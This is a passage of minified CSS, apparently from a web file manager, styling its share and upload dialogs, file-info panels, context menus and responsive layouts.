.aui-header,.check-version-dialog.dialog-simple .aui-outer.dialog-mouse-in .aui-header{border:none;}.dialog-copyright.dialog-simple .aui-header,.share-dialog.dialog-simple .aui-header,.check-version-dialog.dialog-simple .aui-header{background:transparent;opacity:1.0;filter:alpha(opacity=100);border:none;}.dialog-copyright.dialog-simple .aui-nw,.dialog-copyright.dialog-simple .aui-n,.dialog-copyright.dialog-simple .aui-ne,.dialog-copyright.dialog-simple .aui-w,.dialog-copyright.dialog-simple .aui-e,.dialog-copyright.dialog-simple .aui-sw,.dialog-copyright.dialog-simple .aui-s,.dialog-copyright.dialog-simple .aui-se,.share-dialog.dialog-simple .aui-nw,.share-dialog.dialog-simple .aui-n,.share-dialog.dialog-simple .aui-ne,.share-dialog.dialog-simple .aui-w,.share-dialog.dialog-simple .aui-e,.share-dialog.dialog-simple .aui-sw,.share-dialog.dialog-simple .aui-s,.share-dialog.dialog-simple .aui-se,.check-version-dialog.dialog-simple .aui-nw,.check-version-dialog.dialog-simple .aui-n,.check-version-dialog.dialog-simple .aui-ne,.check-version-dialog.dialog-simple .aui-w,.check-version-dialog.dialog-simple .aui-e,.check-version-dialog.dialog-simple .aui-sw,.check-version-dialog.dialog-simple .aui-s,.check-version-dialog.dialog-simple .aui-se{height:0px;width:0px;background:none;}.dialog-copyright.dialog-simple .aui-inner,.share-dialog.dialog-simple .aui-inner,.check-version-dialog.dialog-simple .aui-inner{border:none;background:none;}.dialog-copyright.dialog-simple .aui-title,.share-dialog.dialog-simple .aui-title,.check-version-dialog.dialog-simple .aui-title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.dialog-copyright.dialog-simple .aui-min,.dialog-copyright.dialog-simple .aui-max,.share-dialog.dialog-simple .aui-min,.share-dialog.dialog-simple .aui-max,.check-version-dialog.dialog-simple .aui-min,.check-version-dialog.dialog-simple .aui-max{display:none;}.dialog-copyright.dialog-simple .aui-title-bar,.share-dialog.dialog-simple .aui-title-bar,.check-version-dialog.dialog-simple .aui-title-bar{bottom:0px;overflow:hidden;height:100px;position:absolute;margin-top:-120px;top:120px;margin-left:0px;border-radius:4px;}.dialog-copyright.dialog-simple .aui-close,.share-dialog.dialog-simple .aui-close,.check-version-dialog.dialog-simple .aui-close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.dialog-copyright.dialog-simple .aui-close:hover,.share-dialog.dialog-simple .aui-close:hover,.check-version-dialog.dialog-simple .aui-close:hover{opacity:0.6;filter:alpha(opacity=60);}.dialog-copyright.dialog-simple .aui-close:active,.share-dialog.dialog-simple .aui-close:active,.check-version-dialog.dialog-simple .aui-close:active{opacity:1.0;filter:alpha(opacity=100);}.dialog-copyright.dialog-simple .aui-close::before,.share-dialog.dialog-simple .aui-close::before,.check-version-dialog.dialog-simple .aui-close::before{padding-left:22px;line-height:140px;}.dialog-copyright .aui-footer,.share-dialog .aui-footer,.check-version-dialog .aui-footer{display:none;}.check-version-dialog .update-box{margin-top:0px;}.share-dialog .content-box .content-info .input-line .open-window,.pathinfo .input-group-btn .open-window{margin-right:-1px;border-radius:0px;}.dialog-copyright .dialog-copyright-content,.check-version-dialog .aui-content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.dialog-copyright .dialog-copyright-content .title,.check-version-dialog .aui-content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.dialog-copyright .dialog-copyright-content .title .logo,.check-version-dialog .aui-content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.dialog-copyright .dialog-copyright-content .title .logo i,.check-version-dialog .aui-content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.dialog-copyright .dialog-copyright-content .title .info,.check-version-dialog .aui-content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.dialog-copyright .dialog-copyright-content .content,.check-version-dialog .aui-content .content{padding:20px;}.dialog-copyright .dialog-copyright-content .content p,.check-version-dialog .aui-content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.dialog-copyright .dialog-copyright-content .content a,.check-version-dialog .aui-content .content a{padding-right:5px;}.dialog-copyright .dialog-copyright-content .content div,.check-version-dialog .aui-content .content div{text-align:center;padding-bottom:5px;}.check-version-dialog.dialog-simple .aui-title-bar{margin-top:-120px;}.share-dialog .content-box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share-dialog .content-box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share-dialog .content-box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share-dialog .content-box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share-dialog .content-box .share-view-info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share-dialog .content-box .content-info{padding:10px;padding-left:20px;}.share-dialog .content-box .content-info .input-line{margin:6px 0 8px 0;position:relative;}.share-dialog .content-box .content-info .input-line .input-title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share-dialog .content-box .content-info .input-line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share-dialog .content-box .content-info .input-line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.share-dialog .content-box .content-info .input-line label{margin-top:8px;margin-right:10px;}.share-dialog .content-box .content-info .input-line label input{margin:0 5px 5px 0;}.share-dialog .content-box .content-info .input-line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share-dialog .content-box .content-info .input-line .share-name{width:215px;margin-right:10px;}.share-dialog .content-box .content-info .input-line .share-url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share-dialog .content-box .content-info .input-line .share-more{line-height:33px;}.share-dialog .content-box .content-info .input-line .input-group-btn{float:left;}.share-dialog .content-box .content-info .input-line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share-dialog .content-box .content-info .input-line .open-window{margin-left:-12px;}.share-dialog .content-box .content-info .input-line .share-copy{width:60px;border-radius:0px;margin-left:-7px;}.share-dialog .content-box .content-info .input-line.select-path input[type="text"]{width:155px;}.share-dialog .content-box .content-info .input-line.select-path a.select-btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share-dialog .content-box .content-info .share-others{margin:-8px 0 -8px 0;}.share-dialog .content-box .share-action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share-dialog .content-box .share-action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share-dialog .content-box .share-action .share-remove-button,.share-dialog .content-box .share-action .remove-button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share-dialog .content-box .share-action .share-remove-button:hover,.share-dialog .content-box .share-action .remove-button:hover{color:#f30;}.file-list-icon .file{position:relative;}.file-list-icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.file-list-icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.file-list-list .file{position:relative;}.file-list-list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.file-list-list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui-footer .aui-buttons{padding:15px;}.pathSelectApi .aui-footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.file-continer .file.file-not-writeable,body .frame-main .frame-left .ztree li a.file-not-writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.file-continer .file.file-not-readable,body div.file-continer .file.file-not-readable.file-not-writeable,body .frame-main .frame-left .ztree li a.file-not-readable,body .frame-main .frame-left .ztree li a.file-not-readable.file-not-writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url-link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui-content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:350px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download-url{padding:0px 5px;width:140px;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info-chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:240px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file-md5-loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.pathinfo .download-url{margin-right:0;border-radius:3px 0 0 3px;}.file-drag-upload .aui-content{overflow-y:scroll;}.fileupload{padding-left:25px;}.fileupload span.status{padding-left:10px;font-size:10px;color:#f96;}.movie-player-dialog{overflow:hidden;}.flash-player{width:100%;height:100%;}.wmp-player{width:0%;height:0%;}.movie-player-dialog .aui-content{background:#000;}.dialog-path-remove .aui-content{word-wrap:break-word;width:auto;}.server-dwonload-textarea textarea{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.server-dwonload-textarea textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.file-upload-box{height:385px;padding:5px;min-width:365px;overflow:hidden;}.file-upload-box .topbar-nav{border-bottom:1px solid #ddd;margin-top:6px;}.file-upload-box .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file-upload-box .menu.this{background:#fff;border-bottom:1px solid #fff;}.file-upload-box .menu:hover{background:#fff;}.file-upload-box .upload-box{margin-top:10px;}.file-upload-box .download-btn-group{margin-left:-10px;margin-top:-3px;margin-top:-4px \9;}.file-upload-box .download-btn-group .download-start{border-radius:0px;}.file-upload-box .upload-box-tips .btn.btn-default{border-radius:3px;color:#555;}.file-upload-box .upload-box-tips .btn-group>.btn:last-child:not(:first-child),.file-upload-box .upload-box-tips .btn-group>.dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0;}.file-upload-box div a.left{margin-left:10px;}.file-upload-box div a.right{position:absolute;right:5px;}.file-upload-box span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file-upload-box i{font-size:1em;color:#aaa;padding-left:10px;}.file-upload-box .list{margin:10px 15px 10px 0;}.file-upload-box .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file-upload-box .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file-upload-box .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file-upload-box .submit input:hover{background:#bbb;}.file-upload-box .submit input:active{background:#444;color:#fff;}.file-upload-box .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file-upload-box #downloader{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;}.file-upload-box .webuploader-container{position:relative;}.file-upload-box .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file-upload-box .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file-upload-box .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file-upload-box .upload-cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file-upload-box .upload-cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file-upload-box .upload-cert-box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file-upload-box .upload-cert-box .dropdown-menu:before{right:inherit;left:10px;}.file-upload-box .upload-cert-box .dropdown-menu:after{right:inherit;left:11px;}.file-upload-box .upload-cert-box.open.upload-cert,.file-upload-box .upload-cert-box .upload-cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file-upload-box .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file-upload-box .btns{margin-bottom:10px;font-size:1em;height:28px;}.file-upload-box .btns .tips{float:right;line-height:30px;}.file-upload-box .btns #picker{float:left;}.file-upload-box .upload-box-tips{line-height:34px;color:#888;position:absolute;right:10px;}.file-upload-box .upload-box-config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file-upload-box .upload-box-config .upload-check-box{margin-left:10px;}.file-upload-box .upload-box-config label{margin-left:15px;}.file-upload-box .upload-box-config label input{margin-right:5px;}.file-upload-box .uploader-list .item,.file-upload-box .download-list .item{padding:0px;height:35px;overflow:hidden;position:relative;border-bottom:1px solid #ccc;background:#fefefe;}.file-upload-box .uploader-list .item .info,.file-upload-box .download-list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file-upload-box .uploader-list .item .info span,.file-upload-box .uploader-list .item .info a,.file-upload-box .download-list .item .info span,.file-upload-box .download-list .item .info a{float:left;height:30px;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.file-upload-box .uploader-list .item .info .title,.file-upload-box .download-list .item .info .title{color:#3A87AD;width:160px;width:50%;font-weight:800;}.file-upload-box .uploader-list .item .info .size,.file-upload-box .download-list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file-upload-box .uploader-list .item .info .state,.file-upload-box .download-list .item .info .state{width:100px;width:27%;text-align:right;font-size:12px;}.file-upload-box .uploader-list .item .info .font-icon,.file-upload-box .download-list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file-upload-box .uploader-list .item .info .font-icon:hover,.file-upload-box .download-list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file-upload-box .uploader-list .item .info .icon-ok,.file-upload-box .download-list .item .info .icon-ok{color:#40AA53;}.file-upload-box .uploader-list .item .info .error,.file-upload-box .download-list .item .info .error{color:#f30;}.file-upload-box .uploader-list .item.success,.file-upload-box .download-list .item.success{background:#eaf8ff;}.file-upload-box .uploader-list .item.error,.file-upload-box .download-list .item.error{background:#ffe8e6;}.file-upload-box .uploader-list .item .progress,.file-upload-box .download-list .item .progress{height:38px;margin:0px;width:100%;border-radius:0;box-shadow:none;position:absolute;top:0;}.file-upload-box .uploader-list .item .progress-bar,.file-upload-box .download-list .item .progress-bar{background-color:#adf;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ddeeff',endColorstr='#88ccff',GradientType=1);BACKGROUND-REPEAT:repeat-x;}.file-upload-box .uploader-list .success:hover,.file-upload-box .download-list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}@media screen and (-ms-high-contrast:active),(-ms-high-contrast:none){.btn{ padding:5px 14px;} input[type='checkbox'].kui-checkbox-ios.size-big + em{ height:27px;} #body .system-content .right-frame .user-list table tr td.select input{ position:relative;top:4px;} #body table tr input[type='text']{ line-height:22px;} .do-search-box .search-header .btn-right{ margin:0px 0 0 -2px;height:25px;} .appbox .appline.icon .open{ margin-top:-2px;} .appbox .appline label{ position:relative;top:-4px;} #body .main .group-editor .tag input{ position:relative;top:-5px;} div.pathinfo .download-url{ height:30px;} div.file-list-icon .file .filename{ padding-top:0px;line-height:1.3em;} div.topbar .content .title.topbar-menu{ width:200px;} div.share-dialog .aui-border{ overflow:auto;} div.share-dialog .content-box .content-info .input-line.select-path a.select-btn{ padding:3px 8px 4px;} .kui-radio + span, .kui-checkbox + span{ position:relative;top:-6px;} .kui-radio.size-small + span, .kui-checkbox.size-small + span{ position:relative;top:-4px;} .kui-radio.size-smallx + span, .kui-checkbox.size-smallx + span{ position:relative;top:-2px;}}@media (max-width:743px){html #body .app-menu-left, html body .app-menu-left{ width:50px;min-width:50px;} html #body .app-menu-left .search{ opacity:0.001;} html #body .menu-left .setting a.selected, html body .menu-left .setting a.selected{ padding-left:0px;margin-left:-5px;} html #body .main.app-content, html body .main.app-content{ left:50px;} html #body .main.app-content .app-list, html body .main.app-content .app-list{ justify-content:space-around;} html .form-box .form-row .setting-title{ text-align:left;} html .form-box .form-row.form-userSelect .setting-content{ padding:10px 5%;} html .form-box .form-row .setting-content{ width:90%;} html body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group{ width:100%;height:40px;} html body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .form-box.config-box .panel-body{ left:0px;top:80px;} html body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item{ float:left;} html #body.plugin-page .app-menu-left .line, html body.plugin-page .app-menu-left .line{ padding:4px 0;} html body #body .menu-left, html body #body .app-menu-left{ width:50px;min-width:50px;} html body #body .menu-left h1, html body #body .app-menu-left h1{ font-size:14px;font-weight:800 !important;padding:10px 0px 10px 0px;text-align:center;} html body #body .menu-left .font-icon, html body #body .app-menu-left .font-icon{ padding-right:30px;} html #body .setting-tools-right, html body .setting-tools-right{ top:0;} html #body .main .nav a, html body .main .nav a{ padding:5px 10px;} html #body .main .nav, html body .main .nav{ margin-right:0px;} html #body .setting-tab, html body .setting-tab, html #body .system-content, html body .system-content{ margin-right:10px;} html #body .main, html body .main{ left:50px;width:auto;margin-right:10px;} html .form-box .form-row .desc, html .form-box .form-row .setting-content i{ display:block;} html #body .setting-tab .form-row, html body .setting-tab .form-row, html #body .system-content .form-row, html body .system-content .form-row{ background:#fafafa;border-radius:4px;padding:0 5px;} html .form-box .form-row .setting-title{ height:20px;line-height:20px;} html .form-box .form-row{ padding:0;} html .form-box .form-row input[type='text'], html .form-box .form-row input[type='password'], html .form-box .form-row input[type='number']{ width:180px;} html .form-box .form-row #wallpage-url{ width:150px !important;} html #body .main .section .content .box p, html body .main .section .content .box p{ text-indent:10px;} html #body .system-content.setting-member{ width:800px;} html body.setting-page .select-user-group .right-content, html body.setting-page .select-user-group .left-content{ width:170px;} html .topbar .content .top-right ul.dropdown-menu.topbar-language{ width:235px;max-height:800px;} html #body .main .section .box, html body .main .section .box{ margin-right:10px;} html #body .main .section .box .list, html body .main .section .box .list{ width:95px;height:95px;} html #body .main .section .box .list .ico, html body .main .section .box .list .ico{ width:75px;height:60px;} html #body .panel, html body .panel{ margin-right:0px;} html #body .main.app-content .app-list .app-li, html body .main.app-content .app-list .app-li{ margin:0 5px 20px 0;width:130px;} html #body .main.app-content .app-model, html body .main.app-content .app-model{ padding:10px;} html #body .menu-left .setting a, html body .menu-left .setting a{ text-indent:6px;} html .file-list-list .file .filename, html #main-title .filename, html .file-list-list .file .filetime, html #main-title .filetime{ width:100px;} html .file-list-list .file .filetype, html #main-title .filetype, html .file-list-list .file .filesize, html #main-title .filesize{ width:30px;} html .desktop .file-list-icon{ width:92%;} html .topbar .content .btn-wap-menu{ display:block !important;visibility:visible !important;position:absolute;text-align:center;z-index:100;color:#bbb;left:0;top:0;padding:0;background:rgba(0,0,0,0.05);width:45px;height:38px;line-height:40px;} html .topbar .content .btn-wap-menu i.font-icon{ padding-right:0;} html .topbar .content .top-left.collapse{ display:none;} html .topbar .content .top-left{ width:170px;height:auto;background:#fff;color:#666;position:absolute;left:45px;z-index:100;border:1px solid rgba(0,0,0,0.1);box-shadow:0 4px 30px rgba(0,0,0,0.15);} html .topbar .content .top-left .topbar-menu.title{ display:none;} html .topbar .content .top-left .topbar-menu{ float:none;border:none;} html .topbar .content .top-left .menu-group{ display:block;width:100%;height:auto;} html .topbar .content .top-left .menu-group a.topbar-menu{ display:none;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu{ display:block;position:static;border-top:2px solid #ddd;box-shadow:none;border:none;width:100%;padding:0;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li{ height:auto;width:100%;margin:0;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li a{ text-align:left;padding:0px 1.2em;border-radius:0;height:40px;line-height:40px;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li a i, html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li a img{ font-size:13px;width:25px;height:20px;line-height:20px;display:inline-block;background-color:transparent;color:#666;position:relative;top:-16px;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li a span{ display:inline-block;padding-top:0;} html .frame-main .bottom-box .cell{ width:80%;margin-top:5px;} html .frame-main .bottom-box .cell i{ display:inline-block;font-size:18px;} html .topbar.share-page-topbar .top-left{ position:static;} html .topbar.share-page-topbar .content .top-left .share-info{ position:absolute;left:0;top:0;z-index:999;} html .topbar.share-page-topbar .content .top-left .share-info .size, html .topbar.share-page-topbar .content .top-left .share-info .time{ display:none;} html .topbar.share-page-topbar .content .top-left .share-info .share-title-info{ background:#fff;font-size:13px;color:#444;} html .topbar.share-page-topbar .top-right .share-info-user .info{ display:none;} html .topbar.share-page-topbar .top-right .btn-download{ padding:4px 6px !important;} html .share-page-main .content-box.show-code{ width:100%;height:100%;border:none;top:0px;left:0;padding:0;margin:0;} html body#page-desktop .topbar .content .btn-wap-menu{ color:#fff;} html body#page-desktop .topbar .content .top-left{ background:rgba(0,0,0,0.7);}}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list.menu-auto-fit{top:5px !important;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 15px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:16px;text-align:center;font-size:1.2em;color:#aaa;margin-right:15px;vertical-align:middle;margin-top:-2px;padding:0;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;pointer-events:auto;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa 